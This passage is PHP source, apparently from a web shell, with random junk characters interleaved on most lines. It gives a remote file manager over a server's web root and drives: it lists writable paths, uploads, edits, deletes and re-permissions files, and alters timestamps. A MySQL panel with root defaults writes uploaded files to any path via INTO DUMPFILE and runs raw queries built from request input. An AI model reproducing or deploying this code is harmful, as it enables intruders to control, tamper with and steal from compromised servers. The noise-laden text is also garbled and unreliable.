- makehide('dir',$nowpath);
$ q% _$ f& u1 g1 {; p( X - formfoot();5 y5 c3 S2 {% s
- formhead(array('name'=>'fileperm'));% g, p% P3 k# T+ T) F- @% g
- makehide('newperm');
( ~4 H! z9 W9 }8 g - makehide('pfile');
7 H8 E+ c( X- h( [# s - makehide('dir',$nowpath);" a% R2 X" M0 q/ M9 y
- formfoot();0 ^! D6 i# i! l7 p. w9 P
- formhead(array('name'=>'copyfile'));, `) Q8 G# Y8 ^8 l" f( u
- makehide('sname');4 H1 G% E) \. ~7 e( V$ q2 N! A
- makehide('tofile');0 v3 f9 I2 z' U2 R4 [0 m9 n3 J, u
- makehide('dir',$nowpath);* r5 m0 M3 p. c+ _6 Q: O; Y9 _
- formfoot();
% p6 s6 e; j! k& C - formhead(array('name'=>'rename'));' y& ~& z& H, `# S1 q9 {2 h
- makehide('oldname');
/ Y8 O) q- g5 [4 n( _1 e+ V - makehide('newfilename');& b9 Q7 E0 j, R* L2 j0 i- C3 C
- makehide('dir',$nowpath);
* d. [0 y' |% _, a+ V. K" A2 z$ Y9 p - formfoot();
`; ?! V4 o% o. Z! m" {* a - formhead(array('name'=>'fileopform'));3 i. z9 z. Z9 o6 i' X
- makehide('action');, @* D* `. ] c. v$ {' }; i* k# E; N
- makehide('opfile');
- n: |. F9 G5 b5 _3 d - makehide('dir');; K" A, v3 h4 g
- formfoot();
8 a9 w6 \; ^2 M5 g2 l1 b - . n$ `% V& ^' B3 X; a
- $free = @disk_free_space($nowpath);
0 }3 r, C, k4 K. q- |9 E/ m" g6 Y - !$free && $free = 0;
' Q3 e! }( q; K6 k- ~) `( U - $all = @disk_total_space($nowpath);
# p+ w: m+ H$ ?- A3 Z - !$all && $all = 0;; I+ D7 B6 h2 O
- $used = $all-$free;! x: c1 [$ w7 x
- $used_percent = @round(100/($all/$free),2);9 C. o% y( Y& Q6 Q* J
- p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');
- R1 C3 G6 S/ \' N. ~ - 3 [, N* N( O: B. s, T$ _1 ?
- ?>- Y' p t7 d9 L, ]9 B8 |1 y
- <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">+ o1 a( s% n( s/ G- X6 U% f
- <form action="" method="post" id="godir" name="godir">
6 Q5 e% \0 ^' l - <tr>
1 d7 H5 E- w( T) s0 ~5 C$ s, X - <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
d8 W3 | ?: t9 D/ Q - <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
2 Z: p, J- ~7 M# n( W - <td nowrap><input class="bt" value="GO" type="submit"></td>; ^' W( I7 E, S; W. L
- </tr>
$ }5 q/ u- i% a - </form>
$ b' {1 o. K" ^1 P6 [4 s: r - </table>
' F3 x6 y. s6 N+ a- T% S0 U - <script type="text/javascript">
+ P2 i! r) s) B! f3 Q - function createdir(){
& D$ J( T9 M# a' e - var newdirname;
+ ~: u! y/ {$ s: q - newdirname = prompt('Please input the directory name:', '');' u* O8 y& s, L
- if (!newdirname) return;
; F1 |( C1 ~( J! k# }% Y - $('createdir').newdirname.value=newdirname;
: o& L+ U/ [, q$ [ - $('createdir').submit();
3 ?6 }/ O4 q# U h0 i; y - }
! P7 i9 Z. i s0 O/ W9 n - function fileperm(pfile){ C8 f) R+ K1 O( G9 R6 L: ~5 L0 V2 K
- var newperm;0 g7 S: U. \8 E \1 V$ R
- newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
, D$ Q l) a1 o% Q9 x& v - if (!newperm) return;% X X- p1 v# q. n
- $('fileperm').newperm.value=newperm;
6 I* c; W2 {- \% x Q1 X- T: P+ h - $('fileperm').pfile.value=pfile;
; \' Q+ P( y) n% v* n8 t- @ - $('fileperm').submit();9 @: t8 O: o/ r6 W
- }9 l# t9 @: J- M3 c; R. ]% A1 e
- function copyfile(sname){
6 {* n# z3 H5 u+ T9 W7 T, t/ _! G - var tofile;5 d# z4 z# ]9 I
- tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');- ~) y9 |: p: j
- if (!tofile) return;
- D3 f% t& p$ }+ o/ |* M - $('copyfile').tofile.value=tofile;
( ]4 T! ]/ z* z& ?3 u7 g1 v2 J - $('copyfile').sname.value=sname;
- v; n q0 J' @8 Q: o0 ^. f - $('copyfile').submit();, I1 t* R" W# `! \
- }/ F( ~+ n7 [2 K A
- function rename(oldname){
0 C z2 M0 s M! G+ N - var newfilename;
- U+ {0 L. e+ L. y1 ^! x3 e - newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');8 a& c& J5 x8 Z
- if (!newfilename) return;
6 @0 ?; m2 d- x% ~* s# v3 K - $('rename').newfilename.value=newfilename;
# j* X- }- t* \/ O - $('rename').oldname.value=oldname;7 z( p; i3 |! f. n+ G2 z
- $('rename').submit();
4 Q! x% [8 }/ c: V' v% N - }3 e' `, G9 |" G9 H8 z8 ` G
- function dofile(doing,thefile,m){
6 O; O# |! @& k - if (m && !confirm(m)) {
+ ^$ @" u% M: R* U+ P7 o* B. f - return;/ @* g ^! g0 Q
- }; p# v/ D+ N0 Q, u, T
- $('filelist').doing.value=doing;; }& d5 i3 [7 C4 k
- if (thefile){
' x5 X& Z s. L7 J - $('filelist').thefile.value=thefile;0 a' q( n4 H# t. j* e' x
- }$ d" F( q6 S% K" T
- $('filelist').submit();: N- c0 x7 d% |! u& k* S. `
- }8 }. S3 [) c# P( p1 q$ w8 L: r- h
- function createfile(nowpath){2 J+ G S9 a; G! d
- var filename;/ G, Z# k( v7 ~. ?
- filename = prompt('Please input the file name:', '');
! E$ ^" r0 x5 V - if (!filename) return;
5 B7 v0 b3 d" r X" O3 t. d R - opfile('editfile',nowpath + filename,nowpath);
/ g8 W2 `0 K7 F - }8 h% F1 o( [" L6 n
- function opfile(action,opfile,dir){' K4 L& J# q: u& a9 H
- $('fileopform').action.value=action;
, g$ J1 `0 d7 Y, A1 ^# ] - $('fileopform').opfile.value=opfile;
( [) o/ Q& b2 d) o. u# _; b: P - $('fileopform').dir.value=dir;
- Y0 Z; j: ^. B - $('fileopform').submit();4 S$ z5 V o; R! Y
- }4 Y" h' k9 p, ]3 g& i
- function godir(dir,view_writable){
9 o" p" g& N- \% u! I" ^; c+ H+ v - if (view_writable) {
$ A; |& n c6 y5 X - $('godir').view_writable.value=1;
. |9 h- q9 u8 z - }
1 }! Y/ q' u& }, k/ ? - $('godir').dir.value=dir;
1 o B. C4 s, N& z9 W3 L* M& @2 M - $('godir').submit();" R# \3 A& g; q' `8 n
- }
# ~7 i/ D0 h4 B+ I3 T. t1 u1 u - </script>
% j# z: r* f$ ^1 J; x& Q; A0 a - <?php
$ _. g: [2 r# e8 U - tbhead();
$ C* n9 m4 W" n0 \5 [ - p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');9 B: ~; x) R; S* W% i* S2 N' O5 [( R! P
- p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');: b. Y0 @1 Z4 s7 W1 z/ t1 i
- p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');2 c8 c2 U4 G& y3 j' r& r* {
- if ($view_writable) {
* c7 S. v: ]+ g7 A: J- W - p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
' b& t% [$ g& H' U' a" G# P - } else {- q$ Y$ n g# F+ o* |$ B* ]# ?# U
- p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
' j" O1 P ~9 Z4 }" k; q0 z - }
$ Y Y) u, A ]! n; S$ e - p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
" L- s" k& {) O - if (IS_WIN && IS_COM) {; \- g5 K+ u2 S' Q* P
- $obj = new COM('scripting.filesystemobject');. [: k3 X" f8 V2 f5 C5 X
- if ($obj && is_object($obj)) {$ L6 W8 d' ~0 F, o: c
- $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
9 c# `8 i0 J; g' n S n - foreach($obj->Drives as $drive) {4 Z% n( w4 c4 J' Q6 h+ G
- if ($drive->DriveType == 2) {9 k q4 u2 D6 o
- p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'( n- h" u6 B2 ^* F6 d- c; t
- Free:'.sizecount($drive->FreeSpace).'" Q. j& h; V9 I& `
- Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
|$ a$ T( d/ h. t# Q+ \1 \9 J - } else {) E7 _ C9 M$ C
- p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
9 \) e! i E1 D" p+ |' S& ` - }4 Z- u/ h" d: P
- }
; M- w6 l; z/ s5 T y" X% r+ N - }
6 V8 X N3 b1 f( w8 y - }
7 \, R. s9 g/ }, X2 _ -
0 U1 ?& D: Q& K+ H2 z4 n8 j. T0 }9 u - p('</td></tr></form>');
# u& P3 D3 S0 z" d( f; u - 3 L) B. `5 ^8 a2 b# I
- p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
6 a% n" B+ T2 I$ l$ c; Q2 F -
; B/ a ~$ S% |. B8 M' H# s- Y7 G - //查看所有可写文件和目录
. ]3 o7 C& ^, c( E' w - $dirdata=array();# E5 h4 F+ L% u6 G; t0 n
- $filedata=array();
P) V4 @. D; H8 ^. x* \: T - 7 l; }/ {3 K& B( h
- if ($view_writable) {
2 t3 d/ r$ X% G" m, a1 r2 W - $dirdata = GetList($nowpath);4 [7 A2 _ l6 y9 q l+ z* y7 N
- } else {) H9 y Q: Z! D
- // 目录列表8 B; d, i4 n3 `: d
- $dirs=@opendir($dir);- w$ D0 y/ O# ]
- while ($file=@readdir($dirs)) {
' V; |9 W4 X* d7 R/ |$ D - $filepath=$nowpath.$file;
# N! |' }) }' D4 e" V2 a* D - if(@is_dir($filepath)){
& h' t5 Z* S# } P7 n - $dirdb['filename']=$file;- E1 R! }- f& g; g. C! ~, f
- $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));% g0 B3 x- [( ]! i3 b- o p0 B
- $dirdb['dirchmod']=getChmod($filepath);8 }5 E" d4 e( Y, M) h8 }( @
- $dirdb['dirperm']=getPerms($filepath);
# p5 x8 `1 X) A: y - $dirdb['fileowner']=getUser($filepath);
* F- H: h S% n; o7 j - $dirdb['dirlink']=$nowpath;6 F3 X6 b2 Q: ?8 a, z
- $dirdb['server_link']=$filepath;
6 m, p0 P, q" i7 y& n) u2 J1 | - $dirdb['client_link']=ue($filepath);
0 [0 N5 R) a/ b5 ]$ i - $dirdata[]=$dirdb;
: U2 M+ D0 f6 X) w( G3 Q - } else { & s2 ~" @8 h( I- h
- $filedb['filename']=$file;3 b2 _+ n& @0 Y; j; H
- $filedb['size']=sizecount(@filesize($filepath));
" k( \; O, M- Y: O( n - $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));+ j5 D0 C! V# r2 ~- t
- $filedb['filechmod']=getChmod($filepath);
& g6 m& I9 ?3 d c$ d. i9 R - $filedb['fileperm']=getPerms($filepath);- O* j/ P" v1 l% k
- $filedb['fileowner']=getUser($filepath);! u7 ~; a! }. P. F# ~* A3 |
- $filedb['dirlink']=$nowpath;
6 G$ C5 w+ m+ Q1 J1 f - $filedb['server_link']=$filepath;
/ C+ z4 p. ?: G - $filedb['client_link']=ue($filepath);$ R0 M( I5 |/ L1 h
- $filedata[]=$filedb;
% u% P0 g% U E - }
% `5 M: @; D' b$ z - }// while+ ^) I: }, y5 A7 q' p! V
- unset($dirdb);( G6 }- q% m7 u+ ?6 v( S! Y
- unset($filedb);) }, I! |3 n* @6 K1 i
- @closedir($dirs);# V' F. m2 ]' K
- }. t/ L2 o; Y: x. K0 b$ |
- @sort($dirdata);
4 t+ j9 B$ d! C) z& v" D0 U - @sort($filedata);+ `$ U0 @' a9 q+ T8 S8 \: Y
- $dir_i = '0';1 G% Q* T* @2 v7 e+ [1 p& U8 v% N. D
- foreach($dirdata as $key => $dirdb){* R/ o5 H4 Q1 i" g7 r
- if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
- D c( l; o+ y# {: C! y - $thisbg = bg();5 i" }" c: |) i) v& u
- p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
/ A# r. P. a# b7 t - p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');7 g8 z% g6 U: M2 S6 H; x
- p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');0 W- Y' o4 ?+ y9 Z$ h" e, j
- p('<td nowrap>'.$dirdb['mtime'].'</td>');5 I/ e: G5 R9 Z: ?: J
- p('<td nowrap>--</td>');$ Q9 r# r9 E6 w z2 H. K6 ^. R7 _" c
- p('<td nowrap>');
+ P1 \# r8 e. @% ? - p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');, J. M/ w+ H$ s1 Y
- p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
! V) F" E( [6 B: f - p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');9 \% A1 L) `& m) G8 F9 J; R
- p('</tr>');/ z% { d# d2 J* c0 W* l
- $dir_i++;
. _+ u! E+ w. x. h, i* n - } else {" @0 o0 V7 W) D4 i F
- if($dirdb['filename']=='..') {8 I! @; H/ Z; a+ D4 j' Z
- p('<tr class='.bg().'>');
4 A/ U( X; q& }1 Y- \ - p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');5 Z/ ]- _9 w% {& O4 F
- p('</tr>');* s9 _3 e9 |6 c( h9 D! F
- }
9 o" Y0 p9 g7 C* H% ]0 M6 r/ _0 } - }9 p5 N- ^3 f: C0 i! Q+ E: @
- }- j0 v. \. L" R" Q* @& ^& P/ ?
-
, C4 K5 f2 f+ T3 G - p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');
6 I- m( a6 ~5 w# q1 E - p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');; ^: ~( v6 _, z
- makehide('action','file');
6 \$ M3 k0 F3 [: { - makehide('thefile');1 m8 I& i) }8 l. M* M+ V% Q z# g
- makehide('doing');* H4 s- z* k( [9 B8 L
- makehide('dir',$nowpath);" ^4 N5 M' x- r4 J% w8 [
- $file_i = '0';
8 D2 j1 {2 `- q3 Q' d0 o; Q9 w - foreach($filedata as $key => $filedb){' B* u8 l/ s. P" x
- if($filedb['filename']!='..' && $filedb['filename']!='.') {# |0 K6 {# R5 x& ~! \8 n
- $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
+ c( a9 ?7 [% I- N# @$ X2 J - $thisbg = bg();
6 K/ n* E) G, H - p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');" r$ L6 o7 h6 _% U& w- Q9 d
- p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');4 L( T; A( C. Q8 Q, z, r
- p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
; X* A6 |1 U) h7 _ - p('<td nowrap>'.$filedb['mtime'].'</td>');
4 l8 g: l3 k. Q- @ - p('<td nowrap>'.$filedb['size'].'</td>');; z4 N3 {, ~8 R3 f, {9 D2 j
- p('<td nowrap>'); W0 r) n4 W/ m3 j
- p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
- ~* F+ u; V: y. O2 } - p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
) B$ q4 o0 B' H+ `: C& a+ A - p('<td nowrap>');
6 m2 w2 H1 G0 d t" `3 h8 _ - p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
+ `' C# R9 W3 Y% d+ o, ]4 S* U$ q - p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');, U7 K+ \ u9 u# Y7 t
- p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');# i" z. G3 g+ C# g
- p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
" E- |- X9 ^0 I! P8 o: d' c - p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');, r/ l: J+ A0 _1 p! ~
- p('</td></tr>');
* } Z+ S2 U! G8 K/ C - $file_i++;. L) r' @/ x0 h/ U; L( O
- }
3 i, K1 r: ~. Z) H& P: u" Z3 \ - }# o4 o1 J2 Y8 {5 ]/ L) w
- p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');. b3 n7 x) |" q- l# I1 z
- p('</form></table>');9 \# O4 X) i, J9 V( r. d7 R6 l5 D
- }// end dir
. M% [8 M& `# k# h4 I( U+ J - 6 k& ^ n0 A ~" K+ x4 K$ {
- elseif ($action == 'sqlfile') {& h5 }; X, i' k4 @) P# ]
- if($doing=="mysqlupload"){4 Q, B q, e* _1 ~, s7 n- J0 T. t. N0 x
- $file = $_FILES['uploadfile'];
: b1 v% P& [0 w+ a+ r! l - $filename = $file['tmp_name'];
C; z7 N1 _+ j- t' P) Q, Y% }# E - if (file_exists($savepath)) {/ U" l O( S' p. ^& y
- m('The goal file has already existed');
4 T8 }$ E. z: u6 i - } else {+ m& p/ f, M0 C- K' W
- if(!$filename) {
6 D" u% ?: t6 S3 ~ - m('Please choose a file');3 Z) q! Q, @0 g$ b! ^! p0 ^
- } else {; a) F1 o- w" d, x+ e) p
- $fp=@fopen($filename,'r');8 z3 s* x; O0 }& H0 M9 r1 M- _$ b
- $contents=@fread($fp, filesize($filename));
: Q+ h i2 z& q& P0 o - @fclose($fp);
9 u; R9 O5 P$ ]$ e6 ~# { - $contents = bin2hex($contents);
1 h' t& C- Z6 N: |# o6 v - if(!$upname) $upname = $file['name'];$ t& ~6 q3 l' U& ?! n" X
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
/ |* s" [ w- o - $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");3 H' o' Y) h' e( b$ ~7 T
- m($result ? 'Upload success' : 'Upload has failed: '.mysql_error()); I: }) B* g. X3 b. ^: p
- }
" [3 A9 K) R9 Y {+ f6 q# F" y - }; P `7 l$ b6 B4 p7 ^& |+ t; Y
- }
) D' _: Z; @2 R2 c - ?>
1 O/ |$ ?1 c1 q1 l x2 {7 h* d - <script type="text/javascript">7 G* ?$ L: D! ~7 U3 G
- function mysqlfile(doing){
p! |/ V8 ^: s2 Z T ` - if(!doing) return;3 v% J5 W: a8 z1 A9 Y( L& c
- $('doing').value=doing;
$ |* v( Z Q8 t! H9 H n - $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
, z' B& t" H9 X, o: h - $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
/ H2 m( d2 H6 K$ Y5 \: L - $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
' _2 P+ w+ y$ E - $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
4 }% W8 l% o$ Q - $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
: Q" g- S0 ?& L9 s" I - $('mysqlfile').charset.value=$('dbinfo').charset.value;+ x3 E6 h+ R) ?
- $('mysqlfile').submit();% Y5 J. [& p" U& b. R
- }9 V! `3 o1 _( w D) U
- </script>
+ E' c% E9 a3 F8 G+ [. r( `1 @+ I - <?php
3 _2 f9 I, ~' z- M5 K - !$dbhost && $dbhost = 'localhost';* D8 a, H+ w6 Y
- !$dbuser && $dbuser = 'root';3 N3 Y6 P) D+ ]- t3 s Z5 h
- !$dbport && $dbport = '3306';
1 N e) m# G! K, i - $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
( V+ I/ t! H5 P! d) G - formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
5 [4 `# q9 K! h% Q. m3 f. H( M. E - makehide('action','sqlfile');" f; o8 }; V6 o6 Z( g
- p('<p>');/ R2 s+ H& D. t4 g# L2 n$ Z
- p('DBHost:');
9 ?! Z; e4 {& v3 w2 A- ^ O1 S - makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));% ?( d! H, |' a6 m/ V9 A" R
- p(':');6 d' X' l+ F. X4 V, Y& q- G+ _
- makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));. v+ a/ N, f1 N9 p/ e3 P* X
- p('DBUser:');
2 k& q. Y9 W/ `# d0 Q% q$ T - makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));$ Q, j3 G/ ^. w. t: s" d
- p('DBPass:');
, Y1 a: f5 ~, Q6 A' M, [: [ - makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));% M0 I2 C4 @" }. F% ]* D) C
- p('DBName:');0 }1 W3 {" ?8 x9 c6 O; j
- makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
; D A, H2 E. F) s) ^3 Z v6 F - p('DBCharset:');; O9 U8 p$ q, h7 a
- makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
" j& a e3 O, _ - p('</p>');
! U ~7 h5 m8 l x; o - formfoot();9 J' w; z! a! @9 N4 n* D% z
- p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');0 i" d/ A/ T2 @; l
- p('<h2>Upload file</h2>');
6 o2 L- [0 x! H6 l& ? - p('<p><b>This operation the DB user must has FILE privilege</b></p>');
$ |; p" i" T; n7 ~& o. {! t2 r1 L - p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');4 c9 z+ t% V! R/ i% J9 q
- p('<h2>Download file</h2>');7 j& T2 [6 f, X/ ~& I: I
- p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
; f. H% ^+ a2 \4 o( [( g S - makehide('dbhost');
7 X. i* B% ~1 E; R }! ? - makehide('dbport');
5 Y! e; h" R/ z2 H5 T: x - makehide('dbuser');
- g: J: `- t* a* o) _2 x3 _7 K - makehide('dbpass');
* B6 ?- G8 ^& F9 _' m0 [. n - makehide('dbname');$ t- X1 k: V9 T; Q/ p* \- Y+ D5 a
- makehide('charset');' E f: f1 H% r' y. w
- makehide('doing');
+ r* F& F4 ?! ~2 | - makehide('action','sqlfile');
6 \9 X! Z# I/ K4 j1 ]5 ~8 D - p('</form>');
& {! v ?# W) L' C - }
8 d, b, F! i- Z n6 d; T -
, A; E, O! [; I# j% X - elseif ($action == 'sqladmin') {
" j8 e$ h+ q; n1 E - !$dbhost && $dbhost = 'localhost';
9 l! W2 m+ V7 S2 [2 a' o5 T- U/ ^ - !$dbuser && $dbuser = 'root';/ J6 k: I H4 m' a
- !$dbport && $dbport = '3306';
$ i6 U- W6 K% Z! e - $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';( }3 y, ]. r0 n7 g! i" {
- if(isset($dbhost)){5 Z: ^6 I+ I$ ]
- $dbform .= "<input type="hidden" id="dbhost" name="dbhost" value="$dbhost" />\n";
# k5 Z$ P) b" [5 [; M6 e! K7 ^ - }* j9 f4 c+ a0 L! }/ F
- if(isset($dbuser)) {
; f# s- _& J& w" H. v - $dbform .= "<input type="hidden" id="dbuser" name="dbuser" value="$dbuser" />\n";; R7 L* N% W# t+ {2 Y3 I
- }
8 D% W& d& F. w1 v6 l) \ - if(isset($dbpass)) {
F* E* s" Z: O8 ]6 T - $dbform .= "<input type="hidden" id="dbpass" name="dbpass" value="$dbpass" />\n";
- p, Z8 z# @, S5 Q, V+ s: Q# ]- e1 B - }# q5 y8 o- x7 g* x9 S
- if(isset($dbport)) {% l* u0 n: V( P( `
- $dbform .= "<input type="hidden" id="dbport" name="dbport" value="$dbport" />\n";
' J& \) a( `* _0 @0 \ - }1 R2 ^: p" S; @4 U9 {+ \
- if(isset($dbname)) {- U2 s3 B! i% h' y
- $dbform .= "<input type="hidden" id="dbname" name="dbname" value="$dbname" />\n";; t4 t8 D$ @8 I) F' |
- }( g. ]: }% T% j& }
- if(isset($charset)) {
, A/ |9 L- t. \' e6 v R - $dbform .= "<input type="hidden" id="charset" name="charset" value="$charset" />\n";
8 y) B/ C) ]6 X - }
0 }% t" g# ~+ p6 }' m - - k( X. k- f* I. F7 K+ B
- if ($doing == 'backupmysql' && $saveasfile) {4 a1 ~9 F0 l( W8 W# L' g
- if (!$table) {
3 I; q2 U6 _1 Z5 j - m('Please choose the table');1 V( K0 c% f" c- @) }+ ^ r1 ]
- } else { C# L2 O+ {" N* @# p7 A
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
" {: B2 V$ U8 N) z, I - $table = array_flip($table);/ S3 F+ b! L( L0 d
- $fp = @fopen($path,'w');
# [! s$ e9 S+ j( K - if ($fp) {5 p% n: c( z, U8 }' g
- $result = q('SHOW tables');* M; ?( y+ ]0 W1 b2 J
- if (!$result) p('<h2>'.mysql_error().'</h2>');
; O! @; u+ |; B8 Q+ A - $mysqldata = '';/ L/ I' V; `) V6 ?. i! Z/ }' h
- while ($currow = mysql_fetch_array($result)) {
: \8 C' M# v3 f - if (isset($table[$currow[0]])) {
! A6 E! w& g: f3 Q. I* U, c - sqldumptable($currow[0], $fp);. d5 F3 Y+ C; r
- }5 D X* {. U' V
- }# T& F: c% e7 c( J
- fclose($fp);
- B4 B: l7 W( j1 i6 ` - $fileurl = str_replace(SA_ROOT,'',$path);( Y# v) V( y9 P" E, [
- m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');$ J, z+ `$ g& a# g4 W
- mysql_close();; b# K) s( m3 Y8 x
- } else {
; z5 X' @" l* K/ X, j% s - m('Backup failed');
; }3 N8 W' ~: C/ ]8 e - }
5 ?* ]4 E8 M4 l- W - }
6 n7 h# Q& ]9 X6 a - }
9 q/ N+ @& u% @; R - if ($insert && $insertsql) {
! u7 p5 n- A- j% `# \ - $keystr = $valstr = $tmp = '';6 t$ S# {; J8 F
- foreach($insertsql as $key => $val) {0 d8 X1 m1 N; t5 }! x& }% ~, s
- if ($val) {
* s2 o6 a0 x; P r1 F+ C - $keystr .= $tmp.$key; c+ G" l/ f, W; B# j. W8 m+ X
- $valstr .= $tmp."'".addslashes($val)."'";
' u! j6 }9 p1 J# G5 z - $tmp = ',';) b+ j: r8 M$ |4 M/ ]6 [
- }
) S1 K0 D Y2 b9 J! W7 R+ K - }
( q# Y! T! K( [0 p+ s( ] - if ($keystr && $valstr) {
, t+ h" o6 b9 ~0 m9 B - dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);, i$ Z$ ~ Y1 H" J# A
- m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
6 {: c2 r; V" b4 L+ h) M - }
' x% j5 l( @% L0 R$ X - }+ L( K8 Z) A) T5 X% j
- if ($update && $insertsql && $base64) {
2 M1 m, B( @+ P9 n8 q6 C, h - $valstr = $tmp = '';* Y$ M p& l: B+ X& M- S
- foreach($insertsql as $key => $val) {
/ f, R# C& b3 V; T1 |( H - $valstr .= $tmp.$key."='".addslashes($val)."'";+ K1 Z! s o, n" l0 r
- $tmp = ',';) w( M3 U# k% I' d
- }
- l( L$ _, B# n - if ($valstr) {
0 h6 S( `6 i9 g. t: e- D( x. m% s - $where = base64_decode($base64);
* z- ~. r/ s% h% ~& C& b6 b - dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);* M1 r* {0 ~& w
- m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());1 ~; }& f9 _2 ^& x( N
- }
. Z9 ]+ u# ~; v - }7 x$ m1 W1 ^3 F! F
- if ($doing == 'del' && $base64) {$ o4 T0 R, u$ m
- $where = base64_decode($base64);
